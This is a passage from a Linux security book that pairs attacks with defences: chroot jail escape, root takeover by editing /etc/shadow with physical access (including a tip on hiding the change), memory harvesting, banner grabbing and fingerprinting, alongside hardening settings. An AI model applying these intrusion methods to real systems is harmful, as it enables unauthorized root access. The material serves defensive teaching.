Privilege Separation Privilege separation is a security measure that utilizes chrooting that can be enabled in OpenSSH. It uses two processes: a privileged parent process and a restricted child process. The privileged parent process monitors the activities of the child process, which handles network communications. The child process receives authentication requests and hands them off to the parent process, which either approves or rejects them. The child process does not have the ability to grant access (even if compromised). Only the parent process can grant access. This architecture greatly enhances the security of SSH and makes a “root-level” compromise of a box through exploiting a flaw in SSH difficult, if not impossible. Since the privileged parent process does not communicate directly with the network, but indirectly through the child process, it cannot be compromised externally. Furthermore, the child process operates in a chrooted directory (/var/empty), which contains nothing, and in the event of a successful compromise, provides nothing to attackers. In addition, given the restrictions placed on the unprivileged child processes, even if it is compromised, it will not result in system compromise or unauthorized access. The most attackers can hope to gain would be the contents of the /var/empty directory. The only problem with this security feature is that it is not usually enabled by default in most Linux distributions. The /var/empty directory usually has to be created and assigned appropriate permissions, and privilege separation has to be enabled in the configuration file: mail:/etc/ssh # vi sshd_config UsePrivilegeSeparation yes
Before this architecture existed, the privileged parent process handled network requests and processed network data directly (the same scenario takes place when privilege separation is not enabled). This meant that if a vulnerability existed in the installed version of SSH, attackers could access the system with the privileged parent process’s credentials and gain complete control over it. The security provided by the privilege separation function is cheap and easy to set up. Enabling it is definitely a must and there is really no good reason not to do so.
Chapter 4:
Local Access Control
Escaping a Chroot Jail Popularity:
5
Simplicity:
3
Impact:
8
Risk Rating:
5
A very well-documented method for escaping a chroot jail involves a few key components. First, it requires the daemon, or user within the environment, to be running as root or for a vulnerability or functionality that allows it to assume root permissions. Second, it requires the creation of a new folder within the environment. The user or daemon then changes directories into that folder and sets that folder as the new chroot directory. Third, the user then performs a cd .., escapes the chroot environment, and is now able to navigate the true file system and even has root access. This is a very bad state of affairs indeed. In addition to the above-mentioned, well-known exploit, several others are worth mentioning: • Load a kernel module (CAP_SYS_MODULE is required) • Ptrace() code injection (see also phrack 59) • Mount syscall abuse to access virtual file systems (procfs, devfs, devpts) (CAP_ SYS_ADMIN is required) • Abuse sysctl() to set a fake modprobe path • Others with uid=0: direct access to I/O ports, sniff network coms, impersonate a local service such as sshd or telnetd, or administer netfilter rules to do man-inthe-middle attacks on incoming and/or outgoing connections • Others with uid!=0: exploit local services, exploit kernel vulnerabilities, and exploit application-specific entry points However, in looking at the high-level steps involved in escaping the jail, it is evident that problems begin as soon as the user or daemon obtains root access and is further exacerbated by allowing the chroot() function to run from within the jail. This likely happened as a result of a programmer shortcut, a lack of foresight into the types of utilities included in the jail, a vulnerability in one of the applications, or due to poor configuration of the jail on setup. All are the result of human error or lack of proper administration.
Preventing Escape from Chroot Jails Chroot jail breaks can be avoided, but significant care, consideration, maintenance, and diligent testing are required to ensure the environment functions as intended before it is placed into production and/or after it is modified due to periodic updates. The
79
80
Hacking Exposed Linux: Linux Security Secrets & Solutions
maintenance portion is often where the cycle fails, as there is a tendency to set up chrooted environments and leave them be. Given the rate at which vulnerabilities are identified and corresponding exploits created, this is a recipe for trouble.
PHYSICAL ACCESS, ENCRYPTION, AND PASSWORD RECOVERY Malicious parties can use administrative activities built into the design of Linux to gain unintended access. Password recovery is one such feature. Administrators must take proper precautions to ensure that systems are adequately protected from password recovery by unintended users.
Hacking Local Passwords Popularity:
8
Simplicity:
7
Impact: Risk Rating:
10 8
A number of different authentication schemes are available to Linux, but local passwords are by far the most common methodology. Local passwords in modern Linux systems are stored in the /etc/shadow directory using a DES, MD5, or Blowfish oneway hash and some form of password salt. Of these three, DES is often the default password encryption methodology used (particularly in older systems) and should be changed to Blowfish, since DES only allows 8-byte passwords and MD5 is now considered questionable due to collisions (where multiple inputs are found to have the same MD5 hash value), published MD5 Rainbow tables, and ever-increasing processor speeds. Also, shortcuts have recently been identified in MD5 that aid brute forcing. Attackers have also discovered that it is quicker to shave off and recompute the first 4 bytes than to try to brute-force them. The password salt induces further disorder in password hashing by adding a certain number of bits of perturbation, depending on the hashing algorithm, beyond what the hashing algorithm already provides. Essentially, it is included to increase password complexity, providing increased protection against brute-force attacks. Additionally, it provides protection against users recognizing other accounts with the same password, if they happen to have access to the /etc/shadow file. Specifically, if two user accounts have the same password, their password hashes will still be different because the salt used on the password is random, rendering the password hashes completely different. The salt can also be used to identify the one-way hashing algorithm used on passwords. For instance, passwords encrypted using MD5 have a “$1” at the beginning.
Chapter 4:
Local Access Control
Likewise, those with “$2” are encrypted using Blowfish. Hashes that begin with an underscore, “_”, are encrypted using DES and a user-specified number of perturbations. Hashes beginning with any other characters utilize a fixed number of perturbations.
Local Passwords Recovery Identifying the correct password-hashing algorithm is vital to brute-force a password. This is true in the case of Rainbow tables and classic brute-force attempts. It is also required if all that is needed is root access to the box itself, without the extra work of brute forcing. As was mentioned earlier, all you need to do to achieve root login from a physical security perspective is • Gain physical access to the box • Obtain a Linux boot CD (BackTrack, Knoppix-STD, Arudius…) • Get a selection of salted password hashes using the same salt • Obtain a one-way hashing algorithm as the target system • Use your ability to delete the password on the target system or copy and paste the password from a text file over the root password in the /etc/shadow file on the target system As a side note, you may also want to copy the root password from the target system, so you can include it again at a later time (if required). This is particularly helpful in any kind of covert operation where the system needs to appear unmodified. Theoretically, the password could be deleted from the target user entirely and the machine could be booted and logged in to with no password. However, many modern systems have password complexity requirements that can actually lock out users who specify passwords that do not meet the requirements and then try to log in using them. This situation only surfaces if password requirements are implemented on a system that has noncompliant passwords (particularly the root password) or if that password is manually changed by editing the /etc/shadow file. In either case, a password can still be recovered using the method described above and specifying a compliant password.
Preventing Local Passwords Compromises If attackers have physical access to a box, no permissions or attributes settings will keep them out indefinitely. It is likely only a matter of time before they gain entry and 0wn3r$h!p. However, you can take a few precautions to prevent or delay this and to minimize the effectiveness of the overall compromise.
Physical Access Controls The most secure form of protection is to deny physical access to the system at the start. Denying physical access involves implementing adequate physical access controls to
81
82
Hacking Exposed Linux: Linux Security Secrets & Solutions
restrict unintended users from gaining physical access to the system, such as storing the system in an access controlled server room or data center. Oftentimes, due to the quantity of servers in an organization and the space required to store them securely, this creates logistic difficulties. These logistical issues can be overcome through server virtualization.
Virtualization Virtualization is one of the greatest aids to physical security—as it applies to computers— since the locking server rack. Implementing all of the prudent physical access controls on dozens of physical servers within an environment can become very difficult and unmanageable. Virtualization allows you to consolidate the management of ten servers into one very robust 2U or 3U server. You can fit as many as 20 virtual machine hosts in a full-size server rack that could contain roughly 200 virtual machines. That is an entire enterprise of servers safely locked away in a single server rack, protected by as many of the physical access controls as needed or desired. The virtualization concept enables physical protection to be much more manageable. Server virtualization also provides other inherent physical access controls by placing the server itself within a sandbox, isolated from the physical hardware of the host server itself. Many virtual machine packages allow access to be turned on or off from the virtual machine to the host hardware. If USB access to virtual machines is not desired, disable it. If CD-ROM access is undesired, disable that, too. It essentially adds yet another layer of security and obscurity between the servers being audited or administered and the outside world. Not only are the additional access controls wonderful, but never before has it been easier to completely back up, move, or restore a server. If a machine becomes compromised, restore the machine from backed-up virtual machine files, patch the vulnerability, back up the virtual machine files once again, and place the server back in service. Some virtual machine technologies even have a snapshot and restore feature to reduce the time to restore a virtual machine to a previous configuration in a matter of seconds.
Virtualization for Server Hardening With the advent of server virtualization and easy recovery, it is natural to experiment with more aggressive hardening techniques. Now that servers, through the use of virtual machines, can be overhardened and broken one minute and restored to a proper working state the next minute, there is no longer a penalty associated with experimenting with hardening techniques that have the potential of breaking applications and causing significant downtime. Sure, the hardening experimentation should still be done solely in a virtual testing environment. But if virtual machines are utilized to test and refine hardening techniques and place the image in service after the dust settles, it improves server security tremendously. The days of aggressive hardening prohibition are over. Feel free to attempt the riskier hardening techniques that may have been off limits before.
Chapter 4:
Local Access Control
If changes are made to a system that have detrimental effects on an image, or numerous, complex changes are ineffective or cumbersome and would take too long to reverse, you can easily restore files from a backup. In addition, you can utilize the revert or restore feature inherent in some virtual servers to quickly recover and continue experimenting. After making configuration changes, utilize virtual testing machines as targets for penetration testing. These test machines should not be affiliated with the live production network in any way, except for mirroring the current or proposed configuration. Use any and all penetration and auditing techniques against these virtual machines without the risk of interfering with the production environment, such as crashing a server or injecting garbage data into a production database. If virtual machine configurations pass the penetration tests without ill effects, their configurations can be pushed out to the production environment. If not, make a few more hardening tweaks and run the test or audit again. Trusted Computing on Linux (http://www.opentc.net) is a great resource for tools and information.
Encryption Another method, which is somewhat less secure, but not feasibly compromised without privileged knowledge, is to encrypt the drive or partition containing password hashes. Specifically, the partition or physical drive containing the /etc/shadow file must be encrypted. The partition managers in most modern versions of Linux now include the ability to encrypt volumes upon creation, but as mentioned earlier, special configurations and kernel patches must be made to encrypt system partitions. The following is a link to an excellent How-To by David Braun providing steps on setting up an entire encrypted Linux installation from scratch in the 2.4 kernel: http://tldp .org/HOWTO/html_single/Disk-Encryption-HOWTO. Additionally, Boyd Waters continued David Braun’s work, but using the 2.6 kernel and wrote another excellent white paper. This white paper can be accessed at the following link: http://www.sdc.org/~leila/usb-dongle/readme.html. With the exception of successfully brute-forcing the password for the encrypted drive or gaining the drive or partition encryption password through social engineering or a hardware keystroke logger, attackers can very little do once this obstacle is encountered. Although they may have obtained the machine itself, the data on the machine is effectively unusable.
VOLATILE DATA Volatile data is often one of the primary areas that are overlooked when hardening a system, and it is one of the primary areas where systems can be exploited. The memory space and page file locations of running processes are often treasure troves of precious data that are useful for attackers, and this is where buffer overflows actually happen.
83
84
Hacking Exposed Linux: Linux Security Secrets & Solutions
Exploiting Data in Memory Popularity:
8
Simplicity:
4
Impact:
8
Risk Rating:
7
Nearly all the modern-day exploits involve exploiting data in memory in one way or another. The attack vector may be through simply gleaning and stealing sensitive data stored in memory or through changing or manipulating it in some way to grant unintended access or trick the process into acting in a way other than intended.
Physical Memory Data Harvesting Dumping data from memory and reviewing it in a hex editor is a great way to glean sensitive information. In many applications, passwords and other gems can be found in plain text, floating around in memory. The Groupwise 5.x and 6.x email clients were found to have just such a vulnerability, until the release of version 6.5 SP5. For more information, see security alert NOVL-2005-10098073 at http://support.novell.com/cgi-bin/ search/searchtid.cgi?/10098073.htm.
Buffer Overflows and Weak Input Validation Buffer overflow and input validation attacks occur essentially because the application does not verify the size and type of data, respectively. As such, data input into the application can be crafted to overflow the intended boundaries and functions of the system and manipulate it in various predictable ways. In the case of buffer overflows, data that is larger than the buffer is written somewhere else in memory. Through experimentation, attackers can specify exactly where that extra data is written and this usually results in arbitrary code execution, thus constituting a critical vulnerability. Buffer overflows can be executed locally or remotely, depending upon the nature of the application or module they are exploiting. Input validation attacks exist where input strings are not validated to ensure they contain only expected datatypes. They generally involve passing special characters into text or number strings that comment out of the buffer and begin executing shell commands on the underlying service, have access to all of the resources that the service has (by default), and are often a vector for launching a privilege escalation.
Safeguarding Data in Memory An essential part of application security is protecting data in memory. Many types of vulnerabilities and exploits that involve reading and/or modifying sensitive data in memory exist. However, adhering to several high-level principles will make the application and its associated data more secure.
Chapter 4:
Local Access Control
First, only keep sensitive data in memory for as long as necessary. Memory should not be a quick reference repository for sensitive data items. Securely delete it by overwriting it with random data as soon as possible. This narrows the window of opportunity for attackers to obtain such data or notice that it was even there in the first place. Second, ensure that sensitive data never gets written to disk, either in a page file or in some kind of crash dump. Both are searchable and could possibly be used as a resource for malicious individuals or programs in their attempt to glean sensitive artifacts. Allowing the data to exist in a dump file is a particularly bad idea as it can be available long term. Third, regardless of the length of time the data is kept in memory, or written to a page file or crash dump, sensitive data should, if possible, never be stored unencrypted. Always attempt to use cryptographic checksums of the data instead of the plain-text equivalent. This is particularly true with passwords. Fourth, ensure allocation of the proper amount of memory needed, preferably in one sufficiently sized chunk, but as small as possible. Then, lock that entire chunk of memory, assuming it fits into a single page. Fifth, always verify that the data received by the application is the right length and the expected datatype. Never allow an application to accept and process data without first vetting it. Finally, if data in the buffer is continually accessed from the moment it is placed in memory until it is erased, the risk will be minimized. Moreover, standard paging rules will very likely keep the page in question from being written to disk.
SUMMARY This chapter has outlined many local configuration changes and add-ons that can and should be made to enhance physical security or should be reviewed during an audit. While it may not be possible, or even practical, to implement all of them, it is advisable to find the best working combination for your environment. Having multiple physical access controls and defense-in-depth are vital to the longterm security and confidentiality of resources. Defense-in-depth can be used to make up for shortcomings in other areas, such as software vulnerabilities or failing to prevent physical access to the computer itself. For instance, if attackers circumvent all physical access controls into a server room, remove a server from a locked server rack, remove the hard drive to circumvent a BIOS password, and strip the platter lock from the drive, the whole system has not necessarily failed. If attackers then attempt to access confidential data on the drive, but find the data protected by full disk encryption, their efforts have been thwarted. The attackers made it through four levels of physical security, only to be stopped by the fifth level. This fanciful scenario represents the heart of defense-in-depth. Defensive layers need to be manyfold to ensure that weaknesses in any one layer will not compromise the safety of the whole.
CASE STUDY The Acme Company has a strict policy about encryption and security for all sensitive information. In an attempt to provide a method for secure file transfer between itself and its customers and vendors, the Acme Company set up a Linux server, placed it behind a firewall, opened only TCP port 22 to the Internet, and created regular user accounts for each vendor and a shared regular user account for all customers. The data transferred between Acme and its customers was nonsensitive and related to technical support. The technical support username and password were given out only to customers with technical support questions and only over the phone, never via email or other insecure means. The data that was transferred between Acme and its vendors, however, was highly sensitive and contained detailed information on product designs for future products as well as sensitive financial and employee payroll data. All of these data types were accessible via the user permissions for the respective vendor and, in a perfect world, were protected by the user account and permissions design. The individual vendor usernames and passwords were also given out only over the phone and were never sent via unencrypted means, such as email. While this may seem like a good start (not really), Slartibartfast, a disgruntled customer who had been scorned by an impatient technical support representative, quickly discovered that he could not only upload files but also log into the system using an SSH command shell, run system commands, and execute arbitrary binaries that he uploaded to the system. Within minutes, he determined the distribution, kernel, installed software, and patch level of the system. A quick search on http://www.cve.mitre.org/cve/ revealed that the system had multiple vulnerabilities due to uninstalled patches and updates. Slartibartfast then browsed to http://www.packetstormsecurity.org and downloaded several exploits, one or more of which would give him root access to the system through any of the multiple vulnerabilities identified. Ten minutes later, he was reviewing plans and schematics for products coming out the next year while figuring out how he could profit from the employee payroll information he had also found.
88
Chapter 5:
Data Networks Security
P
ossibly the second most important rule in information security is “Treat shell access like it is physical access!” Shell accounts are effectively the same as local system access, even when coming in from SSH or some other remote service. If attackers obtain access to even unprivileged shell accounts, it may only be a matter of time until they find a way to upload tools and exploits to the system and are able to gain root-level access. Therefore, most of the principles that apply in physical security (PHYSEC) also apply in communication security (COMMSEC). It could be said that COMMSEC is PHYSEC minus hardware controls plus network concerns. So, as if things weren’t complicated enough already, we’re about to add another entire dimension. Additionally, the concept of “providing only the access needed” carries over seamlessly to the network perspective, but we add to that, “limiting access by what is disabled or closed, instead of implementing access controls that limit what is already enabled.” In other words, no service should be running, or ports listening, unless they are supposed to be. For example, it is better to disable services and filter ports than to add authentication mechanisms or white lists. This remains true to the goal of least access and brings continuity to the physical and network configurations. Throughout this chapter, we will discuss the data, traffic, and attack vectors that travel across network segments, their danger, possible abuse, and protection strategies. For best understanding, it is essential to have a basic understanding of the Seven Layer OSI model.
NETWORK VISIBILITY The goal of network visibility is to provide the ability to monitor, inspect, troubleshoot, and terminate any network traffic to systems or devices without compromising network integrity. Ideally, all network segments should be monitored by an IDS or at least be “sniffable with a packet-capturing device.”
Network Visibility Holes Popularity:
8
Simplicity:
7
Impact:
6
Risk Rating:
7
The goal of network visibility is to provide the ability to monitor, inspect, troubleshoot, and terminate any network traffic to systems or devices, without compromising the integrity of the network. Lack of visibility creates a situation where you have no insight into the traffic traversing your network. And, as the saying goes, “you don’t know what you don’t know.” Just as in microbiology, pernicious infections can fester in unmonitored locations.
89
90
Hacking Exposed Linux: Linux Security Secrets & Solutions
Having said that, the lack of visibility neither creates the vulnerabilities on the system, nor does it add to the threat of exploitation. But it does add to the threat that system exploitation will not be detected for longer periods of time and that more systems are likely to be involved because of prolonged exposure.
Improving Network Visibility Numerous methods exist for providing network visibility. Some provide greater stability and reduced packet loss. Other methods take a significant toll on the network and can possibly cause a complete lack of functionality. The first place to start is to assess the network architecture and determine the capabilities of the switches and traffic monitoring devices. This involves identifying any switches incapable of spanning or lacking sufficient resources to perform spanning without adversely affecting network performance and packet loss. (Spanning is a functionality that involves funneling all traffic from one or more ports to another single port for inspection via an IDS, monitoring tool, or other mechanism.) Next you want to verify that the interface performing the spanning is actually capable of the load that will traverse it. For instance, if you have a switch with twenty 10/100 interfaces and nineteen of the interfaces are spanned to one 10/100 interface, data will be lost because the switch is not able to funnel that much traffic to a single interface during times of high bandwidth utilization. The result is poor visibility on that switch. A better configuration would be to use a switch that has two gigabit interfaces in addition to the 10/100 interfaces. Use the 10/100 interfaces for workstations and use one of the two gigabit interfaces for spanning. Depending upon the size and configuration of your environment, the other gigabit interface would probably be used for trunking (switch-toswitch communication allowing proper treatment of Virtual Local Area Networks or VLANs), particularly if your environment utilizes VLANs, which are used to create multiple broadcast domains and segment groups of network traffic. It is advisable to limit workstations and low-use servers to 10/100 interfaces (or set the mode to 10/100 if all interfaces are gigabit) and reserve gigabit traffic for spanning, trunking, or high-use servers. Furthermore, spanning should not include gigabit interfaces, such as to high-use servers, because the results can be unreliable. High-use servers should have their own dedicated Ethernet taps monitoring traffic. Ethernet taps are devices that connect to and intercept traffic on a network segment by being plugged directly into the network cable that joins the two network segments. An Ethernet tap looks like a hub and essentially takes one input and converts it to two or more outputs. One of the outputs makes a connection to the originally intended destination and the other connects to one or more monitoring devices. This allows traffic to the remote node or network to be captured and inspected without having any impact whatsoever on the network itself, such as would be caused by port spanning or rspanning. Spanning is a great technology and a very useful tool but has its limitations. It is essential that the maximum aggregate bandwidth of all interfaces not exceed the maximum usable bandwidth of the spanning interface and/or the backplane of the
Chapter 5:
Data Networks Security
device, in order to maintain the integrity of the network as well as the quality of the monitoring. Other forms of spanning, such as RSPAN, have even greater limitations and should be used with extreme caution in only very low-bandwidth utilization situations and preferably not at all. RSPAN is a functionality provided by Cisco switches that allows spanning traffic from remote switches to another switch, such as a core switch. In theory, all network traffic could be spanned from all switches in an environment to a single IDS on a single port. While this may seem like an innovative idea, it can have a profoundly negative effect on network stability. Using RSPAN even under a light/medium load can cause both the remote and core switches to malfunction or drop packets or network connectivity to be intermittent or fail altogether. In practice, it has the undocumented functionality of potentially creating a distributed denial of service situation. If this feature is enabled and a network has a moderate amount of traffic, network administrators might have to walk from switch to switch with a laptop and a console cable disabling RSPAN. Figure 5-1 shows some of the issues discussed thus far. Note that RSPAN is spanning all ports on the satellite switches to the core switch, which is spanning all interfaces (even those for high-use servers) and RSPAN traffic to a single interface being fed to the IDS. At the very least, RSPAN is a recipe for very poor network visibility. But as mentioned earlier, it also creates a potential denial of service situation on the network. The probability that all traffic intended for the IDS will arrive without loss in this configuration is very low.
Figure 5-1 Low visibility network
91
92
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 5-2 shows a completely different setup. It shows the above network reconfigured using the preferred methodologies for optimizing visibility discussed earlier. Each satellite switch has its own link from the gigabit spanned port to the IDS. The core switch only spans low-use servers and workstations to a single gigabit port, which directly connects to the IDS. Also, each high-use server has a dedicated Ethernet tap that is used to splice into traffic to the server and is connected separately to the IDS. Configuring the network this way is more robust, increases performance, and reduces packet loss.
Protocol Usage Monitoring The next visibility item to discuss, now that you have a network configuration that can be clearly seen from every location, is the type of traffic traversing the network. You may be quite surprised when analyzing network traffic to see what type of traffic is eating up so much bandwidth and creating congestion. Figures 5-1 and 5-2 show an IDS as the traffic monitoring device. While it is obviously advisable for networks to include an IDS, many other sophisticated tools are available that combine IDS functionality with a host of other features, such as advanced traffic analysis and profiling tools.
Figure 5-2 High visibility network
Chapter 5:
Data Networks Security
As with anything else, you can choose from free, cheap, or expensive ways to accomplish this goal, each having its own merits and applications. NTOP is a free application from http://www.ntop.org that performs much of the same traffic reporting and graphing functionality that has made Packeteer so successful. However, NTOP does not provide any shaping ability. IPTraf is another good utility, available from http://cebu.mozcom.com/riker/iptraf/index.html. It provides the same type of statistical traffic analysis, but does so in an ASCII friendly format. From a network security perspective, it helps to have a thorough understanding of the types of traffic that commonly traverse a network and the percentages of various protocols expected at different times of the day. This knowledge will aid in recognizing suspicious network behavior, such as that caused by a worm or a malicious individual. This process is also known as profiling network traffic and creating a baseline for later comparison. For example, unfamiliarity with the types and amounts of expected traffic traversing a network at any given time may result in an inability to identify possible issues or inconsistencies. The only other way to detect malicious traffic is to view and validate some form of IDS alert or see some kind of unusual data contained in a server log. However, by the time the IDS recognizes the alert, the damage has already done. IDS events are generally quite voluminous and recognizing patterns from single alerts can be very hard. Furthermore, not being familiar with the expected network traffic statistics can lead to other problems. To identify problems effectively, document network traffic averages by protocol, source, destination, usual highs, usual lows, and the associated time schedule for all of these. Preferably, you can view a graphical representation of these statistics. Ideally, you should be able to easily view and compare expected traffic statistics and current traffic statistics. Without this, you can’t identity whether unusual traffic patterns are occurring, or have occurred, that may warrant further investigation. Conversely, employing an effective method for monitoring network traffic and averages by the categories just mentioned, along with established normal baselines, will make unusual traffic patterns more apparent and easier to recognize. For example, during a typical evening between midnight and 2:00 a.m., the only significant traffic experienced on a network is network backup traffic on various servers. However, in the morning during business hours, the traffic monitoring interface indicates an unusually high amount of SQL traffic from the customer database server to a workstation on the network and a corresponding amount of web traffic from the same workstation to the Internet. After further investigation, you discover that the employee who uses the workstation was not working last night. You ultimately determine that the workstation was infected with a Trojan, which was in the early stages of harvesting confidential customer data and sending it someplace overseas. This example easily demonstrates that variance from an established norm can assist in identifying events of interest for further investigation. Assuming an effective method to monitor traffic patterns is in place, you can stop attacks before they escalate, or at least limit the damage caused before it becomes even more serious. Good network visibility combined with good monitoring and administration
93
94
Hacking Exposed Linux: Linux Security Secrets & Solutions
techniques are invaluable for enhancing network security. These techniques also provide yet another method for detecting anomalies and possible threats that could harm a company or expose it to an embarrassing situation.
NETWORK AND SYSTEMS PROFILING The first step of any network-based attack is to identify the potential targets and values. Systems and networks are cased and details such as operating system, service pack, application/service, version, patch-level, port, and so on, are enumerated. Once this data has been obtained, the attack process is now simplified and streamlined, and systems and/or applications can be surgically targeted, which reduces the amount of traffic involved in the attack. If attack traffic can be minimized and slowed or fragmented, then it is possible (and indeed likely) that it could avoid IDS detection.
Banner Grabbing Popularity:
10
Simplicity:
8
Impact:
3
Risk Rating:
7
Most vulnerability scanners and penetration testing tools use headers as a primary method to identify potential vulnerabilities. If attackers can easily find out the operating system and version, they can more easily identify system vulnerabilities and start the process of finding a viable way in. Furthermore, some automated penetration tools have exploit code that can automatically exploit the system based on the identified version and platform it runs on.
Security Through Obscurity Conversely, removing these headers confuses the scanner or worm and adds extra steps to attackers’ endeavors, requiring human interaction, and usually means that automated scanning and attack mechanisms will fail. Before attackers can actually make any headway on exploiting the service and gaining control of the box, they first have to identify the exact service. Security through obscurity has received a bad name, mainly because it is often the only security performed. However, it can and should have a place as a defense-in-depth mechanism. Too many instances have occurred where the only security has been the
Chapter 5:
Data Networks Security
belief that because nobody knows how it works, it must be safe. Although this is obviously an inherently flawed concept, security through obscurity has its place—when used in combination with other more aggressive and preventative security measures, it can be a very useful tool. Part of the process of security through obscurity involves removing or obfuscating headers. Most network services contain headers to politely identify themselves, and sometimes the operating systems they run on, to remote users. This is not necessarily a vulnerability, but it provides unnecessary information and could possibly be used by malicious individuals for nefarious purposes. Now that you know why header obfuscation is important, we’ll discuss the various ways of implementing it. As with anything security related, there is more than one way to do it. There are two main schools of thought on this topic. The first is to change the header to some enigmatic message or remove it entirely. This accomplishes the goal of obfuscating the true identity of the service but makes it obvious that the header has been modified. Although this may be better than having the service report its default value, it does not create any quality disinformation for scanners and script kiddies to hit on. Also, for more experienced attackers, obfuscating the header is equivalent to a tease, and they will probably feel more motivated than before to identify the service. The second method is to rename the service to an equivalent but different service. For instance, rename Microsoft IIS to indicate that it is a Netscape Web Server. This method is preferred. It provides more than a little satisfaction when viewing logs and seeing that an attacker tried to run IIS exploits on an Apache server or seeing the attacker was similarly duped on another service. This method is also preferred over the enigmatic message as most attackers will accept at face value the default message indicated by the header, whereas they might be inspired to look a little bit deeper if they encounter an enigmatic message, as it has obviously been changed. You can use the mod_headers module to change Apache headers. This module makes new options available in the Apache httpd.conf file: Header and ErrorHeader. By configuring both of these directives, using the set argument in the main server configuration section of httpd.conf, the server will send a customized server header value with all HTTP responses: Header set Server "Microsoft-IIS/6.0" ErrorHeader set Server "Microsoft-IIS/6.0"
Changing these headers is part of making attackers work for every bit of information they obtain. As standard operating procedure, never give anything away. Allow attackers every opportunity to become discouraged, to give up, and to go away. Changing the headers also conveys the message to attackers that the respective systems are not “lowhanging fruit” or easy prey.
95
96
Hacking Exposed Linux: Linux Security Secrets & Solutions
System Fingerprinting Popularity:
8
Simplicity:
5
Impact:
3
Risk Rating:
5
Beyond ordinary banner grabbing techniques, malicious individuals can use the way that systems or applications communicate by default as a means of identifying the respective system, irrespective of the configured banners. These characteristics, or fingerprints, could consist of error messages, open ports, TTL values, TCP/IP stack properties, or any other detail that can be detected through network traffic or data analysis. A few examples of tools used for fingerprinting are httpscan, amap, and nmap.
Fingerprint Scrambling The best way to defend against fingerprinting attempts is to modify the defining characteristics of network listening hosts and services to further masquerade the identity of the system. Change configurable values of services to emulate those of different but similar services on a completely separate architecture. The more ways you can mask the identity of the operating system and services, the less likely their true identity will be easily discovered. When making these modifications, however, stay with a single theme so inconsistencies are minimized. To make a Linux server appear to be a Microsoft Windows Server, for example, change as many items as possible to make it appear as a Windows server, keeping in mind the type and versions of applications that correspond with the system to be emulated. In the case of a web server, the next items you’ll want to modify are the error pages. Change all error pages so the web server emulates a desired environment, or make them purposely ambiguous in the event any kind of error occurs (client navigation errors, script crashes, and so on). You can do this in the httpd.conf file. Here is an example of how to configure custom error pages from apache.org: ErrorDocument ErrorDocument ErrorDocument ErrorDocument ErrorDocument
The next step would be to copy error pages from a Windows IIS Server or other service and platform combination to the Linux Apache Server and configure the above
Chapter 5:
Data Networks Security
mappings to point to the new obfuscated files. On a Windows 2003 IIS 6.0 server, the default error pages can be found in C:\Windows\Help\iisHelp\common\. Modifying the error pages, however, is just the beginning. You can also modify IPv4 network protocol parameters to change the way systems communicate on the network. They can be configured to behave in a manner similar to a different operating system or be modified to provide maximum protection against external attacks. In either case, the end result is to obfuscate the identity of the operating system, but the latter suggestion provides more inherent value. Table 5-1 lists the options that can be configured for IPv4 in Linux.
icmp_echo_ignore_all icmp_echo_ignore_ broadcasts
ipfrag_low_thresh ipfrag_max_dist
tcp_max_tw_buckets tcp_mem
icmp_ignore_bogus_ error_responses
ipfrag_secret_interval
tcp_orphan_retries
icmp_ratelimit
ipfrag_time
tcp_reordering
icmp_ratemask
neigh
tcp_retrans_collapse
igmp_max_memberships
netfilter
tcp_retries1
igmp_max_msf
route
tcp_retries2
inet_peer_gc_maxtime
tcp_abort_on_overflow
tcp_rfc1337
inet_peer_gc_mintime
tcp_adv_win_scale
tcp_rmem
inet_peer_maxttl
tcp_app_win
tcp_sack
inet_peer_minttl
tcp_dsack
tcp_stdurg
inet_peer_threshold
tcp_ecn
tcp_syn_retries
ip_autoconfig
tcp_fack
tcp_synack_retries
ip_conntrack_max
tcp_fin_timeout
tcp_syncookies
ip_default_ttl
tcp_frto
tcp_timestamps
ip_dynaddr
tcp_keepalive_intvl
tcp_tw_recycle
ip_forward
tcp_keepalive_probes
tcp_tw_reuse
ip_local_port_range
tcp_keepalive_time
tcp_westwood
ip_no_pmtu_disc
tcp_low_latency
tcp_window_scaling
ip_nonlocal_bind
tcp_max_orphans
tcp_wmem
ipfrag_high_thresh
tcp_max_syn_backlog
Table 5-1
IPv4 Configurable Parameters
97
98
Hacking Exposed Linux: Linux Security Secrets & Solutions
The next example shows a brief illustration of some parameters you can modify to prevent a SYN flood attack, as well as ways to change the TCP fingerprint of the respective system. tcp_max_syn_backlog This parameter defines how many half-open connections can be retained by the backlog queue. Half-open connections are those for which a SYN packet has been received, a SYN/ACK packet has been sent, and an ACK packet has not yet been received. You can easily create a denial of service situation if the tcp_max_syn_ backlog setting is low and the timeout value is high. Once the backlog value has been reached, the system cannot receive any more connections until the existing ones are either established or timed out. The tcp_max_syn_backlog should be set to 2048. This setting can be configured with the following command line, depending on the Linux distribution: # sysctl -w net.ipv4.tcp_max_syn_backlog="2048"
tcp_synack_retries This parameter controls the number of SYN/ACK retransmissions. By default, this value is set to 5 in most Linux distributions (which causes half-open connections to be removed after 3 minutes if no valid ACK packet is received). However, you can be reduce this value to allow shorter timeouts. The following values apply: value = 5 (3 minutes), value = 3 (45 seconds), value = 2 (21 seconds), value = 1 (9 seconds). Take care not to set the values too low, as low values will create a denial of service by design if legitimate network traffic from remote destinations takes longer to traverse the Internet than the configured retransmission value. This setting can be configured with the following command line, depending on the Linux distribution: # sysctl -w net.ipv4.tcp_ synack_retries ="3"
tcp_syncookies This parameter is very useful in thwarting SYN Flood attacks, especially when source addresses are spoofed. Changing this setting to 1 bypasses the backlog queue by creating a cookie based on the connection socket. More specifically, when a SYN packet is received, a SYN/ACK packet is constructed having a specially crafted initial sequence number (ISN), also called a cookie. Unlike the default configuration, the ISN is not a pseudo-random number but is generated by hashing the connection socket (source address, source port, destination address, and destination port) with some secret values. The system will not actually open a connection until it receives an ACK packet having the respective cookie. Therefore, spoofed SYN packets cannot monopolize
Chapter 5:
Data Networks Security
connections on the server. This setting can be configured with the following command line, depending on the Linux distribution: # sysctl -w net.ipv4.tcp_ syncookies="1"
If the configuration setting is of no interest or not feasible, several firewalls are on the market that have an innate ability to scramble the fingerprints of the hosts they protect, as well as defend against attacks like SYN Floods. Checkpoint Smart Defense module has this built-in ability, and enabling it is as simple as clicking a button and applying the policy. IPTables, which is actually a configuration and maintenance tool for the NetFilter framework and is already included in nearly all default Linux distributions, can also be modified to scramble fingerprints. The website http://en.hakin9.org has a lengthy but great whitepaper on fingerprint scrambling. Written by Jaros Sajko and published on August 1, 2006, it provides detailed instructions on how to create custom IPTables extensions to perform fingerprint scrambling.
